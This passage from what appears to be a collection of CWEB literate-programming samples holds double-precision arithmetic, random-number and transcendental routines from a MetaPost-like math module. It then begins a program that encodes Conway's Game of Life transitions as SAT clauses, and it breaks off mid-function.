polynomial $B(a,b,c;t)$, the |crossing_point| function\nreturns the unique |fraction| value |t| between 0 and~1 at which\n$B(a,b,c;t)$ changes from positive to negative, or returns\n|t=fraction_one+1| if no such value exists. If |a<0| (so that $B(a,b,c;t)$\nis already negative at |t=0|), |crossing_point| returns the value zero.\n\nThe general bisection method is quite simple when $n=2$, hence\n|crossing_point| does not take much time. At each stage in the\nrecursion we have a subinterval defined by |l| and~|j| such that\n$B(a,b,c;2^{-l}(j+t))=B(x_0,x_1,x_2;t)$, and we want to ``zero in'' on\nthe subinterval where $x_0\\G0$ and $\\min(x_1,x_2)<0$.\n\nIt is convenient for purposes of calculation to combine the values\nof |l| and~|j| in a single variable $d=2^l+j$, because the operation\nof bisection then corresponds simply to doubling $d$ and possibly\nadding~1. Furthermore it proves to be convenient to modify\nour previous conventions for bisection slightly, maintaining the\nvariables $X_0=2^lx_0$, $X_1=2^l(x_0-x_1)$, and $X_2=2^l(x_1-x_2)$.\nWith these variables the conditions $x_0\\ge0$ and $\\min(x_1,x_2)<0$ are\nequivalent to $\\max(X_1,X_1+X_2)>X_0\\ge0$.\n\nThe following code maintains the invariant relations\n$0\\L|x0|<\\max(|x1|,|x1|+|x2|)$,\n$\\vert|x1|\\vert<2^{30}$, $\\vert|x2|\\vert<2^{30}$;\nit has been constructed in such a way that no arithmetic overflow\nwill occur if the inputs satisfy\n$a<2^{30}$, $\\vert a-b\\vert<2^{30}$, and $\\vert b-c\\vert<2^{30}$.\n\n@d no_crossing   { ret->data.dval = fraction_one + 1; goto RETURN; }\n@d one_crossing  { ret->data.dval = fraction_one; goto RETURN; }\n@d zero_crossing { ret->data.dval = 0; goto RETURN; }\n\n@c\nstatic void mp_double_crossing_point (MP mp, mp_number *ret, mp_number aa, mp_number bb, mp_number cc) {\n  double a,b,c;\n  double d;    /* recursive counter */\n  double x, xx, x0, x1, x2;    /* temporary registers for bisection */\n  a = aa.data.dval;\n  b = bb.data.dval;\n  c = cc.data.dval;\n  if (a < 0)\n    zero_crossing;\n  if (c >= 0) {\n    if (b >= 0) {\n      if (c > 0) {\n        no_crossing;\n      } else if ((a == 0) && (b == 0)) {\n        no_crossing;\n      } else {\n        one_crossing;\n      }\n    }\n    if (a == 0)\n      zero_crossing;\n  } else if (a == 0) {\n    if (b <= 0)\n      zero_crossing;\n  }\n\n  /* Use bisection to find the crossing point... */\n  d = epsilon;\n  x0 = a;\n  x1 = a - b;\n  x2 = b - c;\n  do {\n    /* not sure why the error correction has to be >= 1E-12 */\n    x = (x1 + x2) / 2 + 1E-12;\n    if (x1 - x0 > x0) {\n      x2 = x;\n      x0 += x0;\n      d += d;\n    } else {\n      xx = x1 + x - x0;\n      if (xx > x0) {\n        x2 = x;\n        x0 += x0;\n        d += d;\n      } else {\n        x0 = x0 - xx;\n        if (x <= x0) {\n          if (x + x2 <= x0)\n            no_crossing;\n        }\n        x1 = x;\n        d = d + d + epsilon;\n      }\n    }\n  } while (d < fraction_one);\n  ret->data.dval = (d - fraction_one); \nRETURN:\n#if DEBUG\n  fprintf(stdout, \"\\n%f = crossing_point(%f,%f,%f)\", mp_number_to_double(*ret), \nmp_number_to_double(aa),mp_number_to_double(bb),mp_number_to_double(cc));\n#endif\n  return;\n}\n \n\n@ We conclude this set of elementary routines with some simple rounding\nand truncation operations.\n\n\n@ |round_unscaled| rounds a |scaled| and converts it to |int|\n@c\nint mp_round_unscaled(mp_number x_orig) {\n  int x = (int)ROUND(x_orig.data.dval);\n  return x;\n}\n\n@ |number_floor| floors a number\n\n@c\nvoid mp_number_floor (mp_number *i) {\n  i->data.dval = floor(i->data.dval);\n}\n\n@ |fraction_to_scaled| rounds a |fraction| and converts it to |scaled|\n@c\nvoid mp_double_fraction_to_round_scaled (mp_number *x_orig) {\n  double x = x_orig->data.dval;\n  x_orig->type = mp_scaled_type;\n  x_orig->data.dval = x/fraction_multiplier;\n}\n\n\n\n@* Algebraic and transcendental functions.\n\\MP\\ computes all of the necessary special functions from scratch, without\nrelying on |real| arithmetic or system subroutines for sines, cosines, etc.\n\n@ \n\n@c\nvoid mp_double_square_rt (MP mp, mp_number *ret, mp_number x_orig) { /* return, x: scaled */\n  double x;\n  x = x_orig.data.dval;\n  if (x <= 0) {\n    @<Handle square root of zero or negative argument@>;\n  } else {\n    ret->data.dval = sqrt(x);\n  }\n}\n\n\n@ @<Handle square root of zero...@>=\n{  \n  if (x < 0) {\n    char msg[256];\n    const char *hlp[] = {\n           \"Since I don't take square roots of negative numbers,\",\n           \"I'm zeroing this one. Proceed, with fingers crossed.\",\n           NULL };\n    char *xstr = mp_double_number_tostring (mp, x_orig);\n    mp_snprintf(msg, 256, \"Square root of %s has been replaced by 0\", xstr);\n    free(xstr);\n@.Square root...replaced by 0@>;\n    mp_error (mp, msg, hlp, true);\n  }\n  ret->data.dval = 0;\n  return;\n}\n\n\n@ Pythagorean addition $\\psqrt{a^2+b^2}$ is implemented by a quick hack\n\n@c\nvoid mp_double_pyth_add (MP mp, mp_number *ret, mp_number a_orig, mp_number b_orig) {\n  double a, b; /* a,b : scaled */\n  a = fabs (a_orig.data.dval);\n  b = fabs (b_orig.data.dval);\n  errno = 0;\n  ret->data.dval = sqrt(a*a + b*b);\n  if (errno) {\n    mp->arith_error = true;\n    ret->data.dval = EL_GORDO;\n  }\n}\n\n\n@ Here is a similar algorithm for $\\psqrt{a^2-b^2}$. Same quick hack, also.\n\n@c\nvoid mp_double_pyth_sub (MP mp, mp_number *ret, mp_number a_orig, mp_number b_orig) {\n  double a, b;\n  a = fabs (a_orig.data.dval);\n  b = fabs (b_orig.data.dval);\n  if (a <= b) {\n    @<Handle erroneous |pyth_sub| and set |a:=0|@>;\n  } else {\n    a = sqrt(a*a - b*b);\n  }\n  ret->data.dval = a;\n}\n\n\n@ @<Handle erroneous |pyth_sub| and set |a:=0|@>=\n{\n  if (a < b) {\n    char msg[256];\n    const char *hlp[] = {\n         \"Since I don't take square roots of negative numbers,\",\n         \"I'm zeroing this one. Proceed, with fingers crossed.\",\n         NULL };\n    char *astr = mp_double_number_tostring (mp, a_orig);\n    char *bstr = mp_double_number_tostring (mp, b_orig);\n    mp_snprintf (msg, 256, \"Pythagorean subtraction %s+-+%s has been replaced by 0\", astr, bstr);\n    free(astr);\n    free(bstr);\n@.Pythagorean...@>;\n    mp_error (mp, msg, hlp, true);\n  }\n  a = 0;\n}\n\n\n@ The subroutines for logarithm and exponential involve two tables.\nThe first is simple: |two_to_the[k]| equals $2^k$. \n\n@d two_to_the(A) (1<<(unsigned)(A))\n\n@ Here is the routine that calculates $2^8$ times the natural logarithm\nof a |scaled| quantity; it is an integer approximation to $2^{24}\\ln(x/2^{16})$,\nwhen |x| is a given positive integer.\n\n@c\nvoid mp_double_m_log (MP mp, mp_number *ret, mp_number x_orig) {\n  if (x_orig.data.dval <= 0) {\n    @<Handle non-positive logarithm@>;\n  } else {\n    ret->data.dval = log (x_orig.data.dval)*256.0;\n  }\n}\n\n@ @<Handle non-positive logarithm@>=\n{\n  char msg[256];\n  const char *hlp[] = { \n         \"Since I don't take logs of non-positive numbers,\",\n         \"I'm zeroing this one. Proceed, with fingers crossed.\",\n          NULL };\n  char *xstr = mp_double_number_tostring (mp, x_orig);\n  mp_snprintf (msg, 256, \"Logarithm of %s has been replaced by 0\", xstr);\n  free (xstr);\n@.Logarithm...replaced by 0@>;\n  mp_error (mp, msg, hlp, true);\n  ret->data.dval = 0;\n}\n\n\n@ Conversely, the exponential routine calculates $\\exp(x/2^8)$,\nwhen |x| is |scaled|. \n\n@c\nvoid mp_double_m_exp (MP mp, mp_number *ret, mp_number x_orig) {\n  errno = 0;  \n  ret->data.dval = exp(x_orig.data.dval/256.0);\n  if (errno) {\n    if (x_orig.data.dval > 0) {\n      mp->arith_error = true;\n      ret->data.dval = EL_GORDO;\n    } else {\n      ret->data.dval = 0;\n    }\n  }\n}\n\n\n@ Given integers |x| and |y|, not both zero, the |n_arg| function\nreturns the |angle| whose tangent points in the direction $(x,y)$.\n\n@c\nvoid mp_double_n_arg (MP mp, mp_number *ret, mp_number x_orig, mp_number y_orig) {\n  if (x_orig.data.dval == 0.0 && y_orig.data.dval == 0.0) {\n    @<Handle undefined arg@>;\n  } else {\n    ret->type = mp_angle_type;\n    ret->data.dval = atan2 (y_orig.data.dval, x_orig.data.dval) * (180.0 / PI)  * angle_multiplier;\n    if (ret->data.dval == -0.0) \n      ret->data.dval = 0.0;\n#if DEBUG\n    fprintf(stdout, \"\\nn_arg(%g,%g,%g)\", mp_number_to_double(*ret),\n    mp_number_to_double(x_orig),mp_number_to_double(y_orig));\n#endif\n  }\n}\n\n\n@ @<Handle undefined arg@>=\n{\n  const char *hlp[] = {\n         \"The `angle' between two identical points is undefined.\",\n         \"I'm zeroing this one. Proceed, with fingers crossed.\",\n         NULL };\n  mp_error (mp, \"angle(0,0) is taken as zero\", hlp, true);\n@.angle(0,0)...zero@>;\n  ret->data.dval = 0;\n}\n\n\n@ Conversely, the |n_sin_cos| routine takes an |angle| and produces the sine\nand cosine of that angle. The results of this routine are\nstored in global integer variables |n_sin| and |n_cos|.\n\n@ Given an integer |z| that is $2^{20}$ times an angle $\\theta$ in degrees,\nthe purpose of |n_sin_cos(z)| is to set\n|x=@t$r\\cos\\theta$@>| and |y=@t$r\\sin\\theta$@>| (approximately),\nfor some rather large number~|r|. The maximum of |x| and |y|\nwill be between $2^{28}$ and $2^{30}$, so that there will be hardly\nany loss of accuracy. Then |x| and~|y| are divided by~|r|.\n\n@d one_eighty_deg (180.0*angle_multiplier)\n@d three_sixty_deg (360.0*angle_multiplier)\n\n@d odd(A)   (abs(A)%2==1)\n\n@ Compute a multiple of the sine and cosine\n\n@c\nvoid mp_double_sin_cos (MP mp, mp_number z_orig, mp_number *n_cos, mp_number *n_sin) {\n  double rad;\n  rad = (z_orig.data.dval / angle_multiplier) * PI/180.0;\n  n_cos->data.dval = cos(rad) * fraction_multiplier;\n  n_sin->data.dval = sin(rad) * fraction_multiplier;\n#if DEBUG\n  fprintf(stdout, \"\\nsin_cos(%f,%f,%f)\", mp_number_to_double(z_orig),\nmp_number_to_double(*n_cos), mp_number_to_double(*n_sin));\n#endif\n}\n\n@ This is the http://www-cs-faculty.stanford.edu/~uno/programs/rng.c\nwith  small cosmetic modifications.\n\n@c\n#define KK 100                     /* the long lag  */\n#define LL  37                     /* the short lag */\n#define MM (1L<<30)                /* the modulus   */\n#define mod_diff(x,y) (((x)-(y))&(MM-1)) /* subtraction mod MM */\n/* */ \nstatic long ran_x[KK];                    /* the generator state */\n/* */ \nstatic void ran_array(long aa[],int n) /* put n new random numbers in aa */\n  /* long aa[]    destination */\n  /* int n       array length (must be at least KK) */\n{\n  register int i,j;\n  for (j=0;j<KK;j++) aa[j]=ran_x[j];\n  for (;j<n;j++) aa[j]=mod_diff(aa[j-KK],aa[j-LL]);\n  for (i=0;i<LL;i++,j++) ran_x[i]=mod_diff(aa[j-KK],aa[j-LL]);\n  for (;i<KK;i++,j++) ran_x[i]=mod_diff(aa[j-KK],ran_x[i-LL]);\n}\n/* */ \n/* the following routines are from exercise 3.6--15 */\n/* after calling ran_start, get new randoms by, e.g., \"x=ran_arr_next()\" */\n/* */ \n#define QUALITY 1009 /* recommended quality level for high-res use */\nstatic long ran_arr_buf[QUALITY];\nstatic long ran_arr_dummy=-1, ran_arr_started=-1;\nstatic long *ran_arr_ptr=&ran_arr_dummy; /* the next random number, or -1 */\n/* */ \n#define TT  70   /* guaranteed separation between streams */\n#define is_odd(x)  ((x)&1)          /* units bit of x */\n/* */ \nstatic void ran_start(long seed) /* do this before using ran_array */\n  /* long seed             selector for different streams */\n{\n  register int t,j;\n  long x[KK+KK-1];              /* the preparation buffer */\n  register long ss=(seed+2)&(MM-2);\n  for (j=0;j<KK;j++) {\n    x[j]=ss;                      /* bootstrap the buffer */\n    ss<<=1; if (ss>=MM) ss-=MM-2; /* cyclic shift 29 bits */\n  }\n  x[1]++;              /* make x[1] (and only x[1]) odd */\n  for (ss=seed&(MM-1),t=TT-1; t; ) {       \n    for (j=KK-1;j>0;j--) x[j+j]=x[j], x[j+j-1]=0; /* \"square\" */\n    for (j=KK+KK-2;j>=KK;j--)\n      x[j-(KK-LL)]=mod_diff(x[j-(KK-LL)],x[j]),\n      x[j-KK]=mod_diff(x[j-KK],x[j]);\n    if (is_odd(ss)) {              /* \"multiply by z\" */\n      for (j=KK;j>0;j--)  x[j]=x[j-1];\n      x[0]=x[KK];            /* shift the buffer cyclically */\n      x[LL]=mod_diff(x[LL],x[KK]);\n    }\n    if (ss) ss>>=1; else t--;\n  }\n  for (j=0;j<LL;j++) ran_x[j+KK-LL]=x[j];\n  for (;j<KK;j++) ran_x[j-LL]=x[j];\n  for (j=0;j<10;j++) ran_array(x,KK+KK-1); /* warm things up */\n  ran_arr_ptr=&ran_arr_started;\n}\n/* */ \n#define ran_arr_next() (*ran_arr_ptr>=0? *ran_arr_ptr++: ran_arr_cycle())\nstatic long ran_arr_cycle(void)\n{\n  if (ran_arr_ptr==&ran_arr_dummy)\n    ran_start(314159L); /* the user forgot to initialize */\n  ran_array(ran_arr_buf,QUALITY);\n  ran_arr_buf[KK]=-1;\n  ran_arr_ptr=ran_arr_buf+1;\n  return ran_arr_buf[0];\n}\n\n\n\n@ To initialize the |randoms| table, we call the following routine.\n\n@c\nvoid mp_init_randoms (MP mp, int seed) {\n  int j, jj, k;    /* more or less random integers */\n  int i;        /* index into |randoms| */\n  j =  abs (seed);\n  while (j >= fraction_one) {\n    j = j/2;\n  }\n  k = 1;\n  for (i = 0; i <= 54; i++) {\n    jj = k;\n    k = j - k;\n    j = jj;\n    if (k<0)\n      k += fraction_one;\n    mp->randoms[(i * 21) % 55].data.dval = j;\n  }\n  mp_new_randoms (mp);\n  mp_new_randoms (mp);\n  mp_new_randoms (mp);          /* ``warm up'' the array */\n\n  ran_start((unsigned long) seed);  \n\n\n}\n\n@ @c\nstatic double modulus(double left, double right);\ndouble modulus(double left, double right) {\n    double quota = left / right;\n    double frac,tmp;\n    frac = modf(quota,&tmp);\n    /* frac contains what's beyond the '.' */\n    frac *= right;\n    return frac;\n}\nvoid mp_number_modulo (mp_number *a, mp_number b) {\n   a->data.dval = modulus (a->data.dval, b.data.dval);\n}\n\n\n\n@ To consume a random  integer for the uniform generator, the program below will say `|next_unif_random|'.\n\n@c \nstatic void mp_next_unif_random (MP mp, mp_number *ret) { \n  double a; \n  unsigned long int op;\n  (void)mp;\n  op = (unsigned)ran_arr_next(); \n  a = op/(MM*1.0);\n  ret->data.dval = a;\n}\n\n\n\n@ To consume a random fraction, the program below will say `|next_random|'.\n\n@c \nstatic void mp_next_random (MP mp, mp_number *ret) { \n  if ( mp->j_random==0 ) \n    mp_new_randoms(mp);\n  else \n    mp->j_random = mp->j_random-1;\n  mp_number_clone (ret, mp->randoms[mp->j_random]);\n}\n\n\n@ To produce a uniform random number in the range |0<=u<x| or |0>=u>x|\nor |0=u=x|, given a |scaled| value~|x|, we proceed as shown here.\n\nNote that the call of |take_fraction| will produce the values 0 and~|x|\nwith about half the probability that it will produce any other particular\nvalues between 0 and~|x|, because it rounds its answers.\n\n@c\nstatic void mp_double_m_unif_rand (MP mp, mp_number *ret, mp_number x_orig) {\n  mp_number y;     /* trial value */\n  mp_number x, abs_x;\n  mp_number u;\n  new_fraction (y);\n  new_number (x);\n  new_number (abs_x);\n  new_number (u);\n  mp_number_clone (&x, x_orig);\n  mp_number_clone (&abs_x, x);\n  mp_double_abs (&abs_x);\n  mp_next_unif_random(mp, &u);\n  y.data.dval = abs_x.data.dval * u.data.dval;\n  free_number (u);\n  if (mp_number_equal(y, abs_x)) {\n    mp_number_clone (ret, ((math_data *)mp->math)->zero_t);\n  } else if (mp_number_greater(x, ((math_data *)mp->math)->zero_t)) {\n    mp_number_clone (ret, y);\n  } else {\n    mp_number_clone (ret, y);\n    mp_number_negate (ret);\n  }\n  free_number (abs_x);\n  free_number (x);\n  free_number (y);\n}\n\n\n\n@ Finally, a normal deviate with mean zero and unit standard deviation\ncan readily be obtained with the ratio method (Algorithm 3.4.1R in\n{\\sl The Art of Computer Programming\\/}).\n\n@c\nstatic void mp_double_m_norm_rand (MP mp, mp_number *ret) {\n  mp_number ab_vs_cd; \n  mp_number abs_x;\n  mp_number u;\n  mp_number r;\n  mp_number la, xa;\n  new_number (ab_vs_cd);\n  new_number (la);\n  new_number (xa);\n  new_number (abs_x);\n  new_number (u);\n  new_number (r);\n  \n  do {\n    do {\n      mp_number v;\n      new_number (v);\n      mp_next_random(mp, &v);\n      mp_number_substract (&v, ((math_data *)mp->math)->fraction_half_t); \n      mp_double_number_take_fraction (mp,&xa, ((math_data *)mp->math)->sqrt_8_e_k, v); \n      free_number (v);\n      mp_next_random(mp, &u);\n      mp_number_clone (&abs_x, xa);\n      mp_double_abs (&abs_x);\n    } while (!mp_number_less(abs_x, u));\n    mp_double_number_make_fraction (mp, &r, xa, u);\n    mp_number_clone (&xa, r);\n    mp_double_m_log (mp,&la, u);\n    mp_set_double_from_substraction(&la, ((math_data *)mp->math)->twelve_ln_2_k, la);\n    mp_double_ab_vs_cd (mp,&ab_vs_cd, ((math_data *)mp->math)->one_k, la, xa, xa);\n  } while (mp_number_less(ab_vs_cd,((math_data *)mp->math)->zero_t));\n  mp_number_clone (ret, xa);\n  free_number (ab_vs_cd);\n  free_number (r);\n  free_number (abs_x);\n  free_number (la);\n  free_number (xa);\n  free_number (u);\n}\n\n\n\n\n@ The following subroutine is used only in norm_rand and tests  if $ab$ is\ngreater than, equal to, or less than~$cd$.\nThe result is $+1$, 0, or~$-1$ in the three respective cases.\n\n@c\nvoid mp_double_ab_vs_cd (MP mp, mp_number *ret, mp_number a_orig, mp_number b_orig, mp_number c_orig, mp_number d_orig) {\n  double ab, cd;\n  (void)mp;\n  ret->data.dval = 0 ;\n  ab = a_orig.data.dval*b_orig.data.dval;\n  cd = c_orig.data.dval*d_orig.data.dval;\n  if (ab > cd ) \n       ret->data.dval = 1 ;\n  else if (ab < cd ) \n       ret->data.dval = -1 ;\n  return ;\n}\n\n"
  },
  {
    "path": "samples/CWeb/sat-life.w",
    "content": "\\datethis\n@*Intro. This program generates clauses for the transition relation\nfrom time $t$ to time $t+1$ in Conway's Game of Life, assuming that\nall of the potentially live cells at time $t$ belong to a pattern\nthat's specified in |stdin|. The pattern is defined by one or more\nlines representing rows of cells, where each line has `\\..' in a\ncell that's guaranteed to be dead at time~$t$, otherwise it has `\\.*'.\nThe time is specified separately as a command-line parameter.\n\nThe Boolean variable for cell $(x,y)$ at time $t$ is named by its\nso-called ``xty code,'' namely by the decimal value of~$x$, followed\nby a code letter for~$t$, followed by the decimal value of~$y$. For\nexample, if $x=10$ and $y=11$ and $t=0$, the variable that indicates\nliveness of the cell is \\.{10a11}; and the corresponding variable\nfor $t=1$ is \\.{10b11}.\n\nUp to 19 auxiliary variables are used together with each xty code,\nin order to construct clauses that define the successor state.\nThe names of these variables are obtained by appending one of\nthe following two-character combinations to the xty code:\n\\.{A2}, \\.{A3}, \\.{A4},\n\\.{B1}, \\.{B2}, \\.{B3}, \\.{B4},\n\\.{C1}, \\.{C2}, \\.{C3}, \\.{C4},\n\\.{D1}, \\.{D2},\n\\.{E1}, \\.{E2},\n\\.{F1}, \\.{F2},\n\\.{G1}, \\.{G2}.\nThese variables are derived from the Bailleux--Boufkhad method\nof encoding cardinality constraints:\nThe auxiliary variable \\.{A$k$} stands for the condition\n``at least $k$ of the eight neighbors are alive.'' Similarly,\n\\.{B$k$} stands for ``at least $k$ of the first four neighbors\nare alive,'' and \\.{C$k$} accounts for the other four neighbors.\nCodes \\.D, \\.E, \\.F, and~\\.G refer to pairs of neighbors.\nThus, for instance, \\.{10a11C2} means that at least two of the\nlast four neighbors of cell $(10,11)$ are alive.\n\nThose auxiliary variables receive values by means of up to 77 clauses per cell.\nFor example, if $u$ and~$v$ are the neighbors of cell~$z$ that correspond\nto a pairing of type~\\.D, there are six clauses\n$$\\bar u d_1,\\quad\n  \\bar v d_1,\\quad\n  \\bar u\\bar v d_2,\\quad\n  u v\\bar d_1,\\quad\n  u\\bar d_2,\\quad\n  v\\bar d_2.$$\nThe sixteen clauses\n$$\\displaylines{\\hfill\n\\bar d_1b_1,\\quad\n\\bar e_1b_1,\\quad\n\\bar d_2b_2,\\quad\n\\bar d_1\\bar e_1b_2,\\quad\n\\bar e_2b_2,\\quad\n\\bar d_2\\bar e_1b_3,\\quad\n\\bar d_1\\bar e_2b_3,\\quad\n\\bar d_2\\bar e_2b_4,\n\\hfill\\cr\\hfill\nd_1e_1\\bar b_1,\\quad\nd_1e_2\\bar b_2,\\quad\nd_2e_1\\bar b_2,\\quad\nd_1\\bar b_3,\\quad\nd_2e_2\\bar b_3,\\quad\ne_1\\bar b_3,\\quad\nd_2\\bar b_4,\\quad\ne_2\\bar b_4\n\\hfill}$$\ndefine $b$ variables from $d$'s and $e$'s; and another sixteen\ndefine $c$'s from $f$'s and $g$'s in the same fashion.\nA similar set of 21 clauses will define the $a$'s from the $b$'s and $c$'s.\n\nOnce the $a$'s are defined, thus essentially counting the\nlive neighbors of cell $z$, the next\nstate~$z'$ is defined by five further clauses\n$$\\bar a_4\\bar z',\\quad\na_2\\bar z',\\quad\na_3z\\bar z',\\quad\n\\bar a_3a_4z',\\quad\n\\bar a_2a_4\\bar zz'.$$\nFor example, the last of these states that $z'$ will be true\n(i.e., that cell $z$ will be alive at time $t+1$) if\n$z$ is alive at time~$t$ and has $\\ge2$ live neighbors\nbut not $\\ge4$.\n\nNearby cells can share auxiliary variables, according to a tricky scheme that\nis worked out below. In consequence, the actual number of auxiliary variables\nand clauses per cell is reduced from 19 and $77+5$ to 13 and $57+5$,\nrespectively, except at the boundaries.\n\n@ So here's the overall outline of the program.\n\n@d maxx 50 /* maximum number of lines in the pattern supplied by |stdin| */\n@d maxy 50 /* maximum number of columns per line in |stdin| */\n\n@c\n#include <stdio.h>\n#include <stdlib.h>\nchar p[maxx+2][maxy+2]; /* is cell $(x,y)$ potentially alive? */\nchar have_b[maxx+2][maxy+2]; /* did we already generate $b(x,y)$? */\nchar have_d[maxx+2][maxy+2]; /* did we already generate $d(x,y)$? */\nchar have_e[maxx+2][maxy+4]; /* did we already generate $e(x,y)$? */\nchar have_f[maxx+4][maxy+2]; /* did we already generate $f(x-2,y)$? */\nint tt; /* time as given on the command line */\nint xmax,ymax; /* the number of rows and columns in the input pattern */\nint xmin=maxx,ymin=maxy; /* limits in the other direction */\nchar timecode[]=\"abcdefghijklmnopqrstuvwxyz\"@|\n      \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"@|\n      \"!\\\"#$%&'()*+,-./:;<=>?@@[\\\\]^_`{|}~\"; /* codes for $0\\le t\\le83$ */\n@q$@>\nchar buf[maxy+2]; /* input buffer */\nunsigned int clause[4]; /* clauses are assembled here */\nint clauseptr; /* this many literals are in the current clause */\n@<Subroutines@>@;\nmain(int argc,char*argv[]) {\n  register int j,k,x,y;\n  @<Process the command line@>;\n  @<Input the pattern@>;\n  for (x=xmin-1;x<=xmax+1;x++) for (y=ymin-1;y<=ymax+1;y++) {\n    @<If cell $(x,y)$ is obviously dead at time $t+1$, |continue|@>;\n    a(x,y);\n    zprime(x,y);\n  }\n}\n\n@ @<Process the command line@>=\nif (argc!=2 || sscanf(argv[1],\"%d\",&tt)!=1) {\n  fprintf(stderr,\"Usage: %s t\\n\",argv[0]);\n  exit(-1);\n}\nif (tt<0 || tt>82) {\n  fprintf(stderr,\"The time should be between 0 and 82 (not %d)!\\n\",tt);\n  exit(-2);\n}\n\n@ @<Input the pattern@>=\nfor (x=1;;x++) {\n  if (!fgets(buf,maxy+2,stdin)) break;\n  if (x>maxx) {\n    fprintf(stderr,\"Sorry, the pattern should have at most %d rows!\\n\",maxx);\n    exit(-3);\n  }\n  for (y=1;buf[y-1]!='\\n';y++) {\n    if (y>maxy) {\n      fprintf(stderr,\"Sorry, the pattern should have at most %d columns!\\n\",\n             maxy);\n      exit(-4);\n    }\n    if (buf[y-1]=='*') {\n      p[x][y]=1;\n      if (y>ymax) ymax=y;\n      if (y<ymin) ymin=y;\n      if (x>xmax) xmax=x;\n      if (x<xmin) xmin=x;\n    }@+else if (buf[y-1]!='.') {\n      fprintf(stderr,\"Unexpected character `%c' found in the pattern!\\n\",\n              buf[y-1]);\n      exit(-5);\n    }\n  }\n}\n\n@ @d pp(xx,yy) ((xx)>=0 && (yy)>=0? p[xx][yy]: 0)\n\n@<If cell $(x,y)$ is obviously dead at time $t+1$, |continue|@>=\nif (pp(x-1,y-1)+pp(x-1,y)+pp(x-1,y+1)+\n    pp(x,y-1)+p[x][y]+p[x][y+1]+\n    pp(x+1,y-1)+p[x+1][y]+p[x+1][y+1]<3) continue;\n\n@ Clauses are assembled in the |clause| array (surprise), where we\nput encoded literals.\n\nThe code for a literal is an unsigned 32-bit quantity, where the leading\nbit is 1 if the literal should be complemented. The next three bits\nspecify the type of the literal (0 thru 7 for plain and \\.A--\\.G);\nthe next three bits specify an integer~$k$; and the next bit is zero.\nThat leaves room for two 12-bit fields, which specify $x$ and $y$.\n\nType 0 literals have $k=0$ for the ordinary xty code. However, the\nvalue $k=1$ indicates that the time code should be for $t+1$ instead of~$t$.\nAnd $k=2$ denotes a special ``tautology'' literal, which is always true.\nIf the tautology literal is complemented, we omit it from the clause;\notherwise we omit the entire clause.\nFinally, $k=7$ denotes an auxiliary literal, used to avoid\nclauses of length~4.\n\nHere's a subroutine that outputs the current clause and resets\nthe |clause| array.\n\n@d taut (2<<25)\n@d sign (1U<<31)\n\n@<Sub...@>=\nvoid outclause(void) {\n  register int c,k,x,y,p;\n  for (p=0;p<clauseptr;p++)\n    if (clause[p]==taut) goto done;\n  for (p=0;p<clauseptr;p++) if (clause[p]!=taut+sign) {\n    if (clause[p]>>31) printf(\" ~\");@+else printf(\" \");\n    c=(clause[p]>>28)&0x7;\n    k=(clause[p]>>25)&0x7;\n    x=(clause[p]>>12)&0xfff;\n    y=clause[p]&0xfff;\n    if (c) printf(\"%d%c%d%c%d\",\n             x,timecode[tt],y,c+'@@',k);\n    else if (k==7) printf(\"%d%c%dx\",\n             x,timecode[tt],y);\n    else printf(\"%d%c%d\",\n             x,timecode[tt+k],y);\n  }\n  printf(\"\\n\");\ndone: clauseptr=0;\n}\n\n@ And here's another, which puts a type-0 literal into |clause|.\n\n@<Sub...@>=\nvoid applit(int x,int y,int bar,int k) {\n  if (k==0 && (x<xmin || x>xmax || y<ymin || y>ymax || p[x][y]==0))\n    clause[clauseptr++]=(bar? 0: sign)+taut;\n  else clause[clauseptr++]=(bar? sign:0)+(k<<25)+(x<<12)+y;\n}\n\n@ The |d| and |e| subroutines are called for only one-fourth\nof all cell addresses $(x,y)$. Indeed, one can show that\n$x$ is always odd, and that $y\\bmod4<2$.\n\nTherefore we remember if we've seen $(x,y)$ before.\n\nSlight trick: If |yy| is not in range, we avoid generating the\nclause $\\bar d_k$ twice.\n\n@d newlit(x,y,c,k) clause[clauseptr++]=((c)<<28)+((k)<<25)+((x)<<12)+(y)\n@d newcomplit(x,y,c,k) \n   clause[clauseptr++]=sign+((c)<<28)+((k)<<25)+((x)<<12)+(y)\n\n@<Sub...@>=\nvoid d(int x,int y) {\n  register x1=x-1,x2=x,yy=y+1;\n  if (have_d[x][y]!=tt+1) {\n    applit(x1,yy,1,0),newlit(x,y,4,1),outclause();\n    applit(x2,yy,1,0),newlit(x,y,4,1),outclause();\n    applit(x1,yy,1,0),applit(x2,yy,1,0),newlit(x,y,4,2),outclause();\n    applit(x1,yy,0,0),applit(x2,yy,0,0),newcomplit(x,y,4,1),outclause();\n    applit(x1,yy,0,0),newcomplit(x,y,4,2),outclause();\n    if (yy>=ymin && yy<=ymax)\n      applit(x2,yy,0,0),newcomplit(x,y,4,2),outclause();\n    have_d[x][y]=tt+1;\n  }\n}\n@#\nvoid e(int x,int y) {\n  register x1=x-1,x2=x,yy=y-1;\n  if (have_e[x][y]!=tt+1) {\n    applit(x1,yy,1,0),newlit(x,y,5,1),outclause();\n    applit(x2,yy,1,0),newlit(x,y,5,1),outclause();\n    applit(x1,yy,1,0),applit(x2,yy,1,0),newlit(x,y,5,2),outclause();\n    applit(x1,yy,0,0),applit(x2,yy,0,0),newcomplit(x,y,5,1),outclause();\n    applit(x1,yy,0,0),newcomplit(x,y,5,2),outclause();\n    if (yy>=ymin && yy<=ymax)\n      applit(x2,yy,0,0),newcomplit(x,y,5,2),outclause();\n    have_e[x][y]=tt+1;\n  }\n}\n    \n@ The |f| subroutine can't be shared quite so often. But we\ndo save a factor of~2, because $x+y$ is always even.\n\n@<Sub...@>=\nvoid f(int x,int y) {\n  register xx=x-1,y1=y,y2=y+1;\n  if (have_f[x][y]!=tt+1) {\n    applit(xx,y1,1,0),newlit(x,y,6,1),outclause();\n    applit(xx,y2,1,0),newlit(x,y,6,1),outclause();\n    applit(xx,y1,1,0),applit(xx,y2,1,0),newlit(x,y,6,2),outclause();\n    applit(xx,y1,0,0),applit(xx,y2,0,0),newcomplit(x,y,6,1),outclause();\n    applit(xx,y1,0,0),newcomplit(x,y,6,2),outclause();\n    if (xx>=xmin && xx<=xmax)\n      applit(xx,y2,0,0),newcomplit(x,y,6,2),outclause();\n    have_f[x][y]=tt+1;\n  }\n}\n\n@ The |g| subroutine cleans up the dregs, by somewhat tediously\nlocating the two neighbors that weren't handled by |d|, |e|, or~|f|.\nNo sharing is possible here.\n\n@<Sub...@>=\nvoid g(int x,int y) {\n  register x1,x2,y1,y2;\n  if (x&1) x1=x-1,y1=y,x2=x+1,y2=y^1;\n  else 